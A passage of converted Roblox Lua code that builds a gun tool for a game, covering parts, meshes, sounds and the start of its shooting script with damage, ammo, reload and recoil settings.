  3297. BlockMesh320.Scale = Vector3.new(0.00454545487, 0.0727272704, 0.00454545487)
  3298. Part321.Name = "AimPart"
  3299. Part321.Parent = Tool0
  3300. Part321.Material = Enum.Material.SmoothPlastic
  3301. Part321.BrickColor = BrickColor.new("Black")
  3302. Part321.Transparency = 1
  3303. Part321.Rotation = Vector3.new(179.769989, 0.00999999978, -179.970001)
  3304. Part321.CanCollide = false
  3305. Part321.FormFactor = Enum.FormFactor.Custom
  3306. Part321.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3307. Part321.CFrame = CFrame.new(6.36399794, 2.03861094, -95.6640015, -0.999999881, 0.000482005387, 8.82041932e-05, 0.000491563405, 0.999989212, -0.00402986165, -8.96117417e-05, -0.00403059833, -0.999988735)
  3308. Part321.BottomSurface = Enum.SurfaceType.Smooth
  3309. Part321.TopSurface = Enum.SurfaceType.Smooth
  3310. Part321.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3311. Part321.Position = Vector3.new(6.36399794, 2.03861094, -95.6640015)
  3312. Part321.Orientation = Vector3.new(0.229999989, 179.98999, 0.0299999993)
  3313. Part321.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3314. Part322.Parent = Tool0
  3315. Part322.Material = Enum.Material.SmoothPlastic
  3316. Part322.BrickColor = BrickColor.new("Really black")
  3317. Part322.Reflectance = 0.10000000149012
  3318. Part322.Rotation = Vector3.new(0, 0, 135)
  3319. Part322.Anchored = true
  3320. Part322.FormFactor = Enum.FormFactor.Symmetric
  3321. Part322.Size = Vector3.new(1, 1, 1)
  3322. Part322.CFrame = CFrame.new(6.45489788, 2.1171751, -95.1531525, -0.707106113, -0.707106113, 0, 0.707106113, -0.707106113, 0, 0, -0, 1)
  3323. Part322.BottomSurface = Enum.SurfaceType.Smooth
  3324. Part322.TopSurface = Enum.SurfaceType.Smooth
  3325. Part322.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3326. Part322.Position = Vector3.new(6.45489788, 2.1171751, -95.1531525)
  3327. Part322.Orientation = Vector3.new(0, 0, 135)
  3328. Part322.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3329. BlockMesh323.Parent = Part322
  3330. BlockMesh323.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  3331. BlockMesh323.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  3332. Part324.Parent = Tool0
  3333. Part324.Material = Enum.Material.SmoothPlastic
  3334. Part324.BrickColor = BrickColor.new("Really black")
  3335. Part324.Rotation = Vector3.new(-180, -90, 0)
  3336. Part324.Anchored = true
  3337. Part324.FormFactor = Enum.FormFactor.Symmetric
  3338. Part324.Size = Vector3.new(1, 1, 1)
  3339. Part324.CFrame = CFrame.new(6.36362791, 2.08415198, -95.1031647, 0, 0, -1, 0, -1, 0, -1, 0, 4.37113883e-08)
  3340. Part324.BottomSurface = Enum.SurfaceType.Smooth
  3341. Part324.TopSurface = Enum.SurfaceType.Smooth
  3342. Part324.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3343. Part324.Position = Vector3.new(6.36362791, 2.08415198, -95.1031647)
  3344. Part324.Orientation = Vector3.new(0, -90, 180)
  3345. Part324.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3346. BlockMesh325.Parent = Part324
  3347. BlockMesh325.Scale = Vector3.new(0.00272727292, 0.0727272704, 0.00272727292)
  3348. BlockMesh325.Scale = Vector3.new(0.00272727292, 0.0727272704, 0.00272727292)
  3349. Part326.Parent = Tool0
  3350. Part326.Material = Enum.Material.SmoothPlastic
  3351. Part326.BrickColor = BrickColor.new("Really black")
  3352. Part326.Reflectance = 0.20000000298023
  3353. Part326.Rotation = Vector3.new(180, 0, 180)
  3354. Part326.Anchored = true
  3355. Part326.FormFactor = Enum.FormFactor.Symmetric
  3356. Part326.Size = Vector3.new(1, 1, 1)
  3357. Part326.CFrame = CFrame.new(6.36362791, 2.1944809, -94.9986115, -0.999999523, -2.68220646e-07, -4.3711637e-08, -2.68220788e-07, 0.999999046, -1.29958251e-12, 4.37116263e-08, -1.28963376e-12, -0.999999523)
  3358. Part326.BottomSurface = Enum.SurfaceType.Smooth
  3359. Part326.TopSurface = Enum.SurfaceType.Smooth
  3360. Part326.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3361. Part326.Position = Vector3.new(6.36362791, 2.1944809, -94.9986115)
  3362. Part326.Orientation = Vector3.new(0, -180, 0)
  3363. Part326.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3364. CylinderMesh327.Parent = Part326
  3365. CylinderMesh327.Scale = Vector3.new(0.181818202, 0.0272727292, 0.127272755)
  3366. CylinderMesh327.Scale = Vector3.new(0.181818202, 0.0272727292, 0.127272755)
  3367. Part328.Parent = Tool0
  3368. Part328.Material = Enum.Material.SmoothPlastic
  3369. Part328.BrickColor = BrickColor.new("Really black")
  3370. Part328.Reflectance = 0.10000000149012
  3371. Part328.Rotation = Vector3.new(0, 0, 90)
  3372. Part328.Anchored = true
  3373. Part328.FormFactor = Enum.FormFactor.Symmetric
  3374. Part328.Size = Vector3.new(1, 1, 1)
  3375. Part328.CFrame = CFrame.new(6.48758984, 2.0382731, -95.1531525, 0, -0.999999702, 0, 0.999999702, 0, 0, 0, 0, 1)
  3376. Part328.BottomSurface = Enum.SurfaceType.Smooth
  3377. Part328.TopSurface = Enum.SurfaceType.Smooth
  3378. Part328.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3379. Part328.Position = Vector3.new(6.48758984, 2.0382731, -95.1531525)
  3380. Part328.Orientation = Vector3.new(0, 0, 90)
  3381. Part328.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3382. BlockMesh329.Parent = Part328
  3383. BlockMesh329.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  3384. BlockMesh329.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  3385. Part330.Name = "ACOG300M"
  3386. Part330.Parent = Tool0
  3387. Part330.Material = Enum.Material.SmoothPlastic
  3388. Part330.BrickColor = BrickColor.new("Really red")
  3389. Part330.Rotation = Vector3.new(90, 0, -90)
  3390. Part330.Anchored = true
  3391. Part330.FormFactor = Enum.FormFactor.Symmetric
  3392. Part330.Size = Vector3.new(1, 1, 1)
  3393. Part330.CFrame = CFrame.new(6.36817122, 2.038697, -95.1031647, 0, 1, 0, 0, 0, -1, -1, -4.37113883e-08, 0)
  3394. Part330.BottomSurface = Enum.SurfaceType.Smooth
  3395. Part330.TopSurface = Enum.SurfaceType.Smooth
  3396. Part330.Color = Color3.new(1, 0, 0)
  3397. Part330.Position = Vector3.new(6.36817122, 2.038697, -95.1031647)
  3398. Part330.Orientation = Vector3.new(90, 90, 0)
  3399. Part330.Color = Color3.new(1, 0, 0)
  3400. BlockMesh331.Parent = Part330
  3401. BlockMesh331.Scale = Vector3.new(0.00300000003, 0.064000003, 0.00100000005)
  3402. BlockMesh331.Scale = Vector3.new(0.00300000003, 0.064000003, 0.00100000005)
  3403. Part332.Parent = Tool0
  3404. Part332.Material = Enum.Material.SmoothPlastic
  3405. Part332.BrickColor = BrickColor.new("Really black")
  3406. Part332.Reflectance = 0.10000000149012
  3407. Part332.Rotation = Vector3.new(-90, 0, -180)
  3408. Part332.Anchored = true
  3409. Part332.FormFactor = Enum.FormFactor.Symmetric
  3410. Part332.Size = Vector3.new(1, 1, 1)
  3411. Part332.CFrame = CFrame.new(6.43635798, 1.92641699, -95.1531525, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  3412. Part332.BottomSurface = Enum.SurfaceType.Smooth
  3413. Part332.TopSurface = Enum.SurfaceType.Smooth
  3414. Part332.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3415. Part332.Position = Vector3.new(6.43635798, 1.92641699, -95.1531525)
  3416. Part332.Orientation = Vector3.new(-90, -180, 0)
  3417. Part332.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3418. CylinderMesh333.Parent = Part332
  3419. CylinderMesh333.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3420. CylinderMesh333.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3421. Part334.Name = "ACOG"
  3422. Part334.Parent = Tool0
  3423. Part334.Material = Enum.Material.SmoothPlastic
  3424. Part334.BrickColor = BrickColor.new("Really red")
  3425. Part334.Rotation = Vector3.new(90, 0, -90)
  3426. Part334.Anchored = true
  3427. Part334.FormFactor = Enum.FormFactor.Symmetric
  3428. Part334.Size = Vector3.new(1, 1, 1)
  3429. Part334.CFrame = CFrame.new(6.36362791, 2.03415489, -95.1031647, 0, 1, 0, 0, 0, -1, -1, -4.37113883e-08, 0)
  3430. Part334.BottomSurface = Enum.SurfaceType.Smooth
  3431. Part334.TopSurface = Enum.SurfaceType.Smooth
  3432. Part334.Color = Color3.new(1, 0, 0)
  3433. Part334.Position = Vector3.new(6.36362791, 2.03415489, -95.1031647)
  3434. Part334.Orientation = Vector3.new(90, 90, 0)
  3435. Part334.Color = Color3.new(1, 0, 0)
  3436. BlockMesh335.Parent = Part334
  3437. BlockMesh335.Scale = Vector3.new(0.00300000003, 0.0140000004, 0.00100000005)
  3438. BlockMesh335.Scale = Vector3.new(0.00300000003, 0.0140000004, 0.00100000005)
  3439. Part336.Name = "Ring"
  3440. Part336.Parent = Tool0
  3441. Part336.Material = Enum.Material.SmoothPlastic
  3442. Part336.BrickColor = BrickColor.new("Really black")
  3443. Part336.Reflectance = 0.10000000149012
  3444. Part336.Anchored = true
  3445. Part336.FormFactor = Enum.FormFactor.Symmetric
  3446. Part336.Size = Vector3.new(1, 1, 1)
  3447. Part336.CFrame = CFrame.new(6.36362314, 2.03558493, -95.0145111, 1, -2.68220901e-07, 8.69479067e-09, 2.68220901e-07, 1, -4.37116263e-08, -8.69478001e-09, 4.37116263e-08, 1)
  3448. Part336.BottomSurface = Enum.SurfaceType.Smooth
  3449. Part336.TopSurface = Enum.SurfaceType.Smooth
  3450. Part336.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3451. Part336.Position = Vector3.new(6.36362314, 2.03558493, -95.0145111)
  3452. Part336.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3453. SpecialMesh337.Parent = Part336
  3454. SpecialMesh337.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3455. SpecialMesh337.Scale = Vector3.new(0.215909094, 0.215909094, 3.86363649)
  3456. SpecialMesh337.MeshType = Enum.MeshType.FileMesh
  3457. SpecialMesh337.Scale = Vector3.new(0.215909094, 0.215909094, 3.86363649)
  3458. Part338.Parent = Tool0
  3459. Part338.Material = Enum.Material.SmoothPlastic
  3460. Part338.BrickColor = BrickColor.new("Really black")
  3461. Part338.Reflectance = 0.10000000149012
  3462. Part338.Anchored = true
  3463. Part338.FormFactor = Enum.FormFactor.Symmetric
  3464. Part338.Size = Vector3.new(1, 1, 1)
  3465. Part338.CFrame = CFrame.new(6.35908413, 2.1535151, -95.1531525, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  3466. Part338.BottomSurface = Enum.SurfaceType.Smooth
  3467. Part338.TopSurface = Enum.SurfaceType.Smooth
  3468. Part338.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3469. Part338.Position = Vector3.new(6.35908413, 2.1535151, -95.1531525)
  3470. Part338.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3471. BlockMesh339.Parent = Part338
  3472. BlockMesh339.Scale = Vector3.new(0.154545456, 0.0363636315, 0.0545454472)
  3473. BlockMesh339.Scale = Vector3.new(0.154545456, 0.0363636315, 0.0545454472)
  3474. Part340.Name = "ACOG"
  3475. Part340.Parent = Tool0
  3476. Part340.Material = Enum.Material.SmoothPlastic
  3477. Part340.BrickColor = BrickColor.new("Really red")
  3478. Part340.Rotation = Vector3.new(90, 0, -90)
  3479. Part340.Anchored = true
  3480. Part340.FormFactor = Enum.FormFactor.Symmetric
  3481. Part340.Size = Vector3.new(1, 1, 1)
  3482. Part340.CFrame = CFrame.new(6.36362791, 2.02506208, -95.1031647, 0, 1, 0, 0, 0, -1, -1, -4.37113883e-08, 0)
  3483. Part340.BottomSurface = Enum.SurfaceType.Smooth
  3484. Part340.TopSurface = Enum.SurfaceType.Smooth
  3485. Part340.Color = Color3.new(1, 0, 0)
  3486. Part340.Position = Vector3.new(6.36362791, 2.02506208, -95.1031647)
  3487. Part340.Orientation = Vector3.new(90, 90, 0)
  3488. Part340.Color = Color3.new(1, 0, 0)
  3489. BlockMesh341.Parent = Part340
  3490. BlockMesh341.Scale = Vector3.new(0.00300000003, 0.00899999961, 0.00100000005)
  3491. BlockMesh341.Scale = Vector3.new(0.00300000003, 0.00899999961, 0.00100000005)
  3492. Part342.Parent = Tool0
  3493. Part342.Material = Enum.Material.SmoothPlastic
  3494. Part342.BrickColor = BrickColor.new("Really black")
  3495. Part342.Reflectance = 0.10000000149012
  3496. Part342.Rotation = Vector3.new(0, 0, 45)
  3497. Part342.Anchored = true
  3498. Part342.FormFactor = Enum.FormFactor.Symmetric
  3499. Part342.Size = Vector3.new(1, 1, 1)
  3500. Part342.CFrame = CFrame.new(6.45489788, 1.95934796, -95.1531525, 0.707106113, -0.707106113, 0, 0.707106113, 0.707106113, 0, 0, 0, 1)
  3501. Part342.BottomSurface = Enum.SurfaceType.Smooth
  3502. Part342.TopSurface = Enum.SurfaceType.Smooth
  3503. Part342.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3504. Part342.Position = Vector3.new(6.45489788, 1.95934796, -95.1531525)
  3505. Part342.Orientation = Vector3.new(0, 0, 45)
  3506. Part342.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3507. BlockMesh343.Parent = Part342
  3508. BlockMesh343.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  3509. BlockMesh343.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  3510. Part344.Name = "Ring"
  3511. Part344.Parent = Tool0
  3512. Part344.Material = Enum.Material.SmoothPlastic
  3513. Part344.BrickColor = BrickColor.new("Really black")
  3514. Part344.Reflectance = 0.10000000149012
  3515. Part344.Anchored = true
  3516. Part344.FormFactor = Enum.FormFactor.Symmetric
  3517. Part344.Size = Vector3.new(1, 1, 1)
  3518. Part344.CFrame = CFrame.new(6.36362314, 2.03558493, -95.155426, 1, -2.68220901e-07, 8.69479067e-09, 2.68220901e-07, 1, -4.37116263e-08, -8.69478001e-09, 4.37116263e-08, 1)
  3519. Part344.BottomSurface = Enum.SurfaceType.Smooth
  3520. Part344.TopSurface = Enum.SurfaceType.Smooth
  3521. Part344.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3522. Part344.Position = Vector3.new(6.36362314, 2.03558493, -95.155426)
  3523. Part344.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3524. SpecialMesh345.Parent = Part344
  3525. SpecialMesh345.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3526. SpecialMesh345.Scale = Vector3.new(0.227272734, 0.227272734, 0.681818187)
  3527. SpecialMesh345.MeshType = Enum.MeshType.FileMesh
  3528. SpecialMesh345.Scale = Vector3.new(0.227272734, 0.227272734, 0.681818187)
  3529. Part346.Parent = Tool0
  3530. Part346.Material = Enum.Material.SmoothPlastic
  3531. Part346.BrickColor = BrickColor.new("Really black")
  3532. Part346.Reflectance = 0.10000000149012
  3533. Part346.Rotation = Vector3.new(-90, 0, -180)
  3534. Part346.Anchored = true
  3535. Part346.FormFactor = Enum.FormFactor.Symmetric
  3536. Part346.Size = Vector3.new(1, 1, 1)
  3537. Part346.CFrame = CFrame.new(6.28180599, 1.92641699, -95.1531525, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  3538. Part346.BottomSurface = Enum.SurfaceType.Smooth
  3539. Part346.TopSurface = Enum.SurfaceType.Smooth
  3540. Part346.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3541. Part346.Position = Vector3.new(6.28180599, 1.92641699, -95.1531525)
  3542. Part346.Orientation = Vector3.new(-90, -180, 0)
  3543. Part346.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3544. CylinderMesh347.Parent = Part346
  3545. CylinderMesh347.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3546. CylinderMesh347.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3547. Part348.Parent = Tool0
  3548. Part348.Material = Enum.Material.SmoothPlastic
  3549. Part348.BrickColor = BrickColor.new("Really black")
  3550. Part348.Rotation = Vector3.new(-180, -90, 0)
  3551. Part348.Anchored = true
  3552. Part348.FormFactor = Enum.FormFactor.Symmetric
  3553. Part348.Size = Vector3.new(1, 1, 1)
  3554. Part348.CFrame = CFrame.new(6.36362791, 1.98411298, -95.1031647, 0, 0, -1, 0, -1, 0, -1, 0, 4.37113883e-08)
  3555. Part348.BottomSurface = Enum.SurfaceType.Smooth
  3556. Part348.TopSurface = Enum.SurfaceType.Smooth
  3557. Part348.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3558. Part348.Position = Vector3.new(6.36362791, 1.98411298, -95.1031647)
  3559. Part348.Orientation = Vector3.new(0, -90, 180)
  3560. Part348.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3561. BlockMesh349.Parent = Part348
  3562. BlockMesh349.Scale = Vector3.new(0.00454545487, 0.0727272704, 0.00454545487)
  3563. BlockMesh349.Scale = Vector3.new(0.00454545487, 0.0727272704, 0.00454545487)
  3564. Part350.Parent = Tool0
  3565. Part350.Material = Enum.Material.SmoothPlastic
  3566. Part350.BrickColor = BrickColor.new("Really black")
  3567. Part350.Reflectance = 0.10000000149012
  3568. Part350.Rotation = Vector3.new(-90, 0, -180)
  3569. Part350.Anchored = true
  3570. Part350.FormFactor = Enum.FormFactor.Symmetric
  3571. Part350.Size = Vector3.new(1, 1, 1)
  3572. Part350.CFrame = CFrame.new(6.28180599, 2.14444709, -95.1531525, -1, 0, 0, 0, 0, 1, 0, 1, -4.37113883e-08)
  3573. Part350.BottomSurface = Enum.SurfaceType.Smooth
  3574. Part350.TopSurface = Enum.SurfaceType.Smooth
  3575. Part350.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3576. Part350.Position = Vector3.new(6.28180599, 2.14444709, -95.1531525)
  3577. Part350.Orientation = Vector3.new(-90, -180, 0)
  3578. Part350.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3579. CylinderMesh351.Parent = Part350
  3580. CylinderMesh351.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3581. CylinderMesh351.Scale = Vector3.new(0.0545454472, 0.0545454472, 0.0545454472)
  3582. Part352.Parent = Tool0
  3583. Part352.Material = Enum.Material.SmoothPlastic
  3584. Part352.BrickColor = BrickColor.new("Really black")
  3585. Part352.Reflectance = 0.20000000298023
  3586. Part352.Rotation = Vector3.new(-180, 75, -180)
  3587. Part352.Anchored = true
  3588. Part352.FormFactor = Enum.FormFactor.Symmetric
  3589. Part352.Size = Vector3.new(1, 1, 1)
  3590. Part352.CFrame = CFrame.new(6.31304789, 1.65223598, -95.3394394, -0.258819073, 0, 0.965925813, 0, 1, 0, -0.965925813, 0, -0.258819073)
  3591. Part352.BottomSurface = Enum.SurfaceType.Smooth
  3592. Part352.TopSurface = Enum.SurfaceType.Smooth
  3593. Part352.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3594. Part352.Position = Vector3.new(6.31304789, 1.65223598, -95.3394394)
  3595. Part352.Orientation = Vector3.new(0, 105, 0)
  3596. Part352.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3597. BlockMesh353.Parent = Part352
  3598. BlockMesh353.Scale = Vector3.new(0.181818187, 0.0636363626, 0.0772726983)
  3599. BlockMesh353.Scale = Vector3.new(0.181818187, 0.0636363626, 0.0772726983)
  3600. Part354.Parent = Tool0
  3601. Part354.Material = Enum.Material.SmoothPlastic
  3602. Part354.BrickColor = BrickColor.new("Really black")
  3603. Part354.Reflectance = 0.20000000298023
  3604. Part354.Rotation = Vector3.new(-180, 0, -180)
  3605. Part354.Anchored = true
  3606. Part354.FormFactor = Enum.FormFactor.Symmetric
  3607. Part354.Size = Vector3.new(1, 1, 1)
  3608. Part354.CFrame = CFrame.new(6.36203384, 1.816275, -95.4154358, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  3609. Part354.BottomSurface = Enum.SurfaceType.Smooth
  3610. Part354.TopSurface = Enum.SurfaceType.Smooth
  3611. Part354.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3612. Part354.Position = Vector3.new(6.36203384, 1.816275, -95.4154358)
  3613. Part354.Orientation = Vector3.new(0, 180, 0)
  3614. Part354.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3615. BlockMesh355.Parent = Part354
  3616. BlockMesh355.Scale = Vector3.new(0.0818181634, 0.0272727292, 0.109090894)
  3617. BlockMesh355.Scale = Vector3.new(0.0818181634, 0.0272727292, 0.109090894)
  3618. Part356.Parent = Tool0
  3619. Part356.Material = Enum.Material.SmoothPlastic
  3620. Part356.BrickColor = BrickColor.new("Really black")
  3621. Part356.Reflectance = 0.20000000298023
  3622. Part356.Rotation = Vector3.new(-180, 0, -180)
  3623. Part356.Anchored = true
  3624. Part356.FormFactor = Enum.FormFactor.Symmetric
  3625. Part356.Size = Vector3.new(1, 1, 1)
  3626. Part356.CFrame = CFrame.new(6.36203384, 1.79809296, -95.4926987, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  3627. Part356.BottomSurface = Enum.SurfaceType.Smooth
  3628. Part356.TopSurface = Enum.SurfaceType.Smooth
  3629. Part356.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3630. Part356.Position = Vector3.new(6.36203384, 1.79809296, -95.4926987)
  3631. Part356.Orientation = Vector3.new(0, 180, 0)
  3632. Part356.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3633. BlockMesh357.Parent = Part356
  3634. BlockMesh357.Scale = Vector3.new(0.154545456, 0.0272727292, 0.0454545394)
  3635. BlockMesh357.Scale = Vector3.new(0.154545456, 0.0272727292, 0.0454545394)
  3636. Part358.Name = "Laser"
  3637. Part358.Parent = Tool0
  3638. Part358.Material = Enum.Material.SmoothPlastic
  3639. Part358.BrickColor = BrickColor.new("Really red")
  3640. Part358.Transparency = 1
  3641. Part358.Rotation = Vector3.new(-85.659996, -89.9599991, 166.789993)
  3642. Part358.FormFactor = Enum.FormFactor.Symmetric
  3643. Part358.Size = Vector3.new(1, 1, 1)
  3644. Part358.CFrame = CFrame.new(6.46274519, 1.856305, -93.5671158, -2.62456751e-07, -6.16113951e-08, -0.999999702, -0.999823868, -0.0186592378, 1.07731353e-06, -0.0186585654, 0.999823511, 8.17274213e-08)
  3645. Part358.BottomSurface = Enum.SurfaceType.Smooth
  3646. Part358.TopSurface = Enum.SurfaceType.Smooth
  3647. Part358.Color = Color3.new(1, 0, 0)
  3648. Part358.Position = Vector3.new(6.46274519, 1.856305, -93.5671158)
  3649. Part358.Orientation = Vector3.new(0, -90, -91.0699997)
  3650. Part358.Color = Color3.new(1, 0, 0)
  3651. CylinderMesh359.Parent = Part358
  3652. CylinderMesh359.Offset = Vector3.new(0, 2000, 0)
  3653. CylinderMesh359.Scale = Vector3.new(0.00999999978, 4000, 0.00999999978)
  3654. CylinderMesh359.Scale = Vector3.new(0.00999999978, 4000, 0.00999999978)
  3655. Part360.Name = "Handle"
  3656. Part360.Parent = Tool0
  3657. Part360.Material = Enum.Material.SmoothPlastic
  3658. Part360.BrickColor = BrickColor.new("Mid gray")
  3659. Part360.Transparency = 1
  3660. Part360.Rotation = Vector3.new(-89.3199997, 0.0299999993, 180)
  3661. Part360.FormFactor = Enum.FormFactor.Custom
  3662. Part360.Size = Vector3.new(0.386400044, 1.30980051, 0.79739958)
  3663. Part360.CFrame = CFrame.new(6.2942338, 1.201473, -94.695694, -0.999999881, -3.01425871e-06, 0.000473654101, 0.00047791723, -0.0118471347, 0.999928355, 2.76359492e-06, 0.999928057, 0.0118467817)
  3664. Part360.BottomSurface = Enum.SurfaceType.Smooth
  3665. Part360.TopSurface = Enum.SurfaceType.Smooth
  3666. Part360.Color = Color3.new(0.803922, 0.803922, 0.803922)
  3667. Part360.Position = Vector3.new(6.2942338, 1.201473, -94.695694)
  3668. Part360.Orientation = Vector3.new(-89.3099976, 2.28999996, 177.690002)
  3669. Part360.Color = Color3.new(0.803922, 0.803922, 0.803922)
  3670. Weld361.Parent = Part360
  3671. Weld361.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  3672. Weld361.C1 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  3673. Weld361.Part0 = Part360
  3674. Weld361.Part1 = Part360
  3675. Sound362.Name = "Reload"
  3676. Sound362.Parent = Part360
  3677. Sound362.SoundId = "http://www.roblox.com/asset/?id=131509800"
  3678. Sound362.Volume = 1
  3679. Sound363.Name = "Shoot"
  3680. Sound363.Parent = Part360
  3681. Sound363.SoundId = "http://roblox.com/asset/?id=150204114"
  3682. Sound363.Volume = 1
  3683. LocalScript364.Name = "Gun_Script"
  3684. LocalScript364.Parent = Tool0
  3685. table.insert(cors,sandbox(LocalScript364,function()
  3686. wait(0.5)
  3687. --made by 1ndrew--
  3688. local Tool = script.Parent
  3689. local Settings = {
  3690. Range = 1000
  3691. ,Spread = 5.5
  3692. ,Damage = {15, 50}
  3693. ,HeadShotDamage = {100, 120}
  3694. ,Bullets = 1
  3695. ,FireRate = 0.1
  3696. ,Automatic = false
  3697. ,AntiTK = true
  3698. ,ImpactDuration = 3
  3699. --Reload
  3700. ,ReloadKey = "R"
  3701. ,ReloadTime = 2.5
  3702. ,Ammo = 30
  3703. ,IncludeChamberedBullet = true
  3704. --Gui
  3705. ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
  3706. --Arms
  3707. ,OneHanded = false
  3708. ,FakeArms = true
  3709. ,FakeArmTransparency = 0
  3710. ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
  3711. ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
  3712. ,AimPart = Tool.AimPart
  3713. ,AimPartOffset = CFrame.new()
  3714. ,AimGripOffset = Vector3.new(0, 0, 0)
  3715. ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
  3716. ,AimAnim = {
  3717. Enabled = false
  3718. ,Frames = 50
  3719. ,Time = 0.1
  3720. }
  3721. ,ChangeFOV = {true, 60}
  3722. ,SpreadReduction = 5
  3723. --Weld
  3724. ,Weld = true
  3725. --Mouse
  3726. ,Icons = {
  3727. Idle = "rbxassetid://70288585"
  3728. ,Fire1 = "rbxassetid://70288578"
  3729. ,Fire2 = "rbxassetid://70288572"
  3730. ,Fire3 = "rbxassetid://70288578"
  3731. ,Reload = "rbxassetid://70288599"
  3732. ,Aim = "rbxasset://textures/Blank.png"
  3733. }
  3734. ,FireMouseAnimTime = 0.15
  3735. --Recoil
  3736. ,Recoil = math.rad(1)
  3737. --Smoke
  3738. ,Smoke = true
  3739. ,SmokePart = Tool.SmokePart
  3740. ,Smokes = {{script.Smoke, 6, 0.2}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
  3741. --Sprint
  3742. ,Sprint = true
  3743. ,SprintSpeed = 25
  3744. ,SprintKey = "0"
  3745. ,SprintSpreadIncrease = 40
  3746. ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
  3747. --Other
  3748. ,DropHats = true
  3749. }
  3750.  
  3751. --Do not edit below this lign--
  3752.  
  3753. local Orig_Spread = Settings.Spread
  3754. local Orig_Grip = Tool.GripPos
  3755.  
  3756. local Player = game.Players.LocalPlayer
  3757. local Character = Player.Character
  3758.  
  3759. local Camera = Workspace.CurrentCamera
  3760.  
  3761. local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
  3762.  
  3763. local Gui, CanUpdateGui = nil, true
  3764.  
  3765. local Sprinting, Equipped
  3766.  
  3767. function Update_Gui()
  3768. if Gui and CanUpdateGui then
  3769. Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
  3770. end
  3771. end
  3772.  
  3773. local Welded
  3774. if Settings.Weld then
  3775. Delay(0, function()
  3776. local weldC0s = {}
  3777. for i, v in pairs(Tool:GetChildren()) do
  3778. if v:IsA("BasePart") and v ~= Tool.Handle then
  3779. table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
  3780. v.Anchored = false
  3781. end
  3782. end
  3783. Tool.Handle.Anchored = false
  3784. local welds = {}
  3785. Tool.Equipped:connect(function()
  3786. for i, v in ipairs(welds) do
  3787. v.Part1 = nil
  3788. v:Destroy()
  3789. end
  3790. for i, v in ipairs(weldC0s) do
  3791. if v[1] and v[2] then
  3792. local w = Instance.new("Weld", Tool.Handle)
  3793. w.Part0 = Tool.Handle
  3794. w.Part1 = v[1]
  3795. w.C0 = v[2]
  3796. table.insert(welds, w)
  3797. end
  3798. end
  3799. end)
  3800. wait()
  3801. Welded = true
  3802. end)
  3803. end
  3804.  
  3805. local Left_Weld, Right_Weld
  3806.  
  3807. Ammo.Changed:connect(Update_Gui)
  3808. StoredAmmo.Changed:connect(Update_Gui)
  3809.  
  3810. Settings.Range = math.min(Settings.Range, 999)
  3811.  
